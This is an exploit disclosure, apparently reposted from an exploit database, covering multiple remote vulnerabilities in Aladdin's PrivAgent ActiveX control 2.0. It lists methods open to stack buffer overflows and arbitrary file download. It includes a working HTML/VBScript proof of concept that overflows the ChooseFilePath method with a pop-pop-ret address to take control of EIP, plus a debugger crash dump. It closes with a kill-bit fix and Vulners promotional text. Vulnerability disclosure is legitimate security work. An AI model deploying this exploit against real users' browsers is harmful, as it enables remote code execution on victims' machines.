=============================================================================================
FILE INFO:
=============================================================================================
Aladdin Knowledge System Ltd. PrivAgent ActiveX Control 2.0 Multiple Remote Vulnerabilities
File: PrivAgent.ocx
InternalName: PrivAgentAx
OriginalFilename: PrivAgent.ocx
FileVersion: 2.0.0.0
FileDescription: PrivAgent ActiveX Control
Product: Privilege
ProductVersion: 02.0
Debug: False
Patched: False
PreRelease: False
PrivateBuild: True
SpecialBuild: False
Language: English (United States)
MD5 hash: c96dfc282b6bdc177abd076a9bb94933
=============================================================================================
OBJECT SAFETY REPORT:
=============================================================================================
CLSID: {09F68A41-2FBE-11D3-8C9D-0008C7D901B6}
ProgID: PrivAgentAx.PrivAgent.1
Description: PrivAgent Class
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
=============================================================================================
TESTED ON:
=============================================================================================
Windows XP Professional SP3
Windows 7 Professional SP3
=============================================================================================
DOWNLOADABLE FROM:
=============================================================================================
ftp://ftp.aladdin.com//pub/privilege/activex2002.zip
=============================================================================================
BUG INFO:
=============================================================================================
This ocx seems to be really poor coded. I've found so many errors that I felt too choosy
(yes Mrs. Elsa Fornero, I AM choosy and I AM proud of it) to test any other method.
Below there's a list of stack-based buffer overflow, insecure file download and a proof
of concept which exploits a good old fashioned (or trivial, if you like) stack based
buffer overflow, triggered simply passing to the "ChooseFilePath" method a string longer
than 268 bytes. In this case, after a memory reading exception, we are in full control of
EIP.
Here it is the list of vulnerable methods, guess which ones are vulnerable to arbitrary
file download? :)
#1
Function DownloadLicense (
ByVal sURL As String ,
ByVal sPath As String ,
ByVal bInstall As Boolean
) As Long
#2
Function ChooseFilePath (
ByVal sFileName As String
) As String
#3
Function InstallLicense (
ByVal szLicensePath As String
) As Long
#4
Function InstallPrivilege (
ByVal szInstFilePath As String
) As Long
#4
Function DownloadPrivilege (
ByVal szURL As String ,
ByVal szTargetDir As String ,
ByVal bInstall As Boolean
) As Long
#4
Function InstallDevExt (
ByVal szDevExtPath As String
) As Long
#5
Function DownloadDevExt (
ByVal szURL As String ,
ByVal szTargetPath As String ,
ByVal bInstall As Boolean
) As Long
=============================================================================================
PROOF OF CONCEPT:
=============================================================================================
<html>
<object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>
<script language = 'vbscript'>
buffer = String(268, "A")
getEIP = unescape("bbbb")
buffer_2 = "CCCCCCCC"
exception = unescape("%5A%0B%02%10") '0x10020B5A pop ESI-pop-ret from PrivAgent.ocx
buffer_3 = unescape("EEEE" + String(2712, "F"))
test.ChooseFilePath buffer + getEIP + buffer_2 + exception + buffer_3
</script>
</html>
=============================================================================================
CRASH DUMP:
=============================================================================================
0:005> g
WARNING: Continuing a non-continuable exception
(1138.1304): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=076886d8 ecx=00385f70 edx=086dc628 esi=0253cfa4 edi=0253cd24
eip=62626262 esp=0253cce4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
62626262 ?? ???
=============================================================================================
FIX:
=============================================================================================
Set kill-bit to stop the activeX control
=============================================================================================
# 0day.today [2018-03-20] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation